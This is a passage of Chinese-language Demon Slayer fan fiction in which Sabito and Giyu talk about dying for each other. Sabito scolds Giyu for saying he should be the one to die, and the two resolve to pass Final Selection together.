“真的真的是真的,”锖兔也想到了自己的家人,忍不住话多了些,一些话脱口而出,“比如要是有一天,我为了保护你死了,也绝不会后悔。义勇也不许钻牛角尖,该高兴就高兴好啦。” “……” 后知后觉意识到自己说了肉麻的话,锖兔表情扭曲。“不许笑!”他扭头去找义勇,看到一直没说话的义勇靠在旁边,抱着木刀安静掉着眼泪。 “我明白了。但是,”他雾蒙蒙的眼睛望着月亮,声音平静,“如果锖兔死了,我一定会非常非常难过。这样的话……” “死的是我就好了。” 锖兔:“……”他真的生气了! 后续是他张牙舞爪地教育了好久才让义勇保证不再轻易说“自己死”之类的话了。 …… …… “义勇,要相信自己。我们迟早会劈开这块石头的。” “到时候,我们就一起,通关最终选拔。”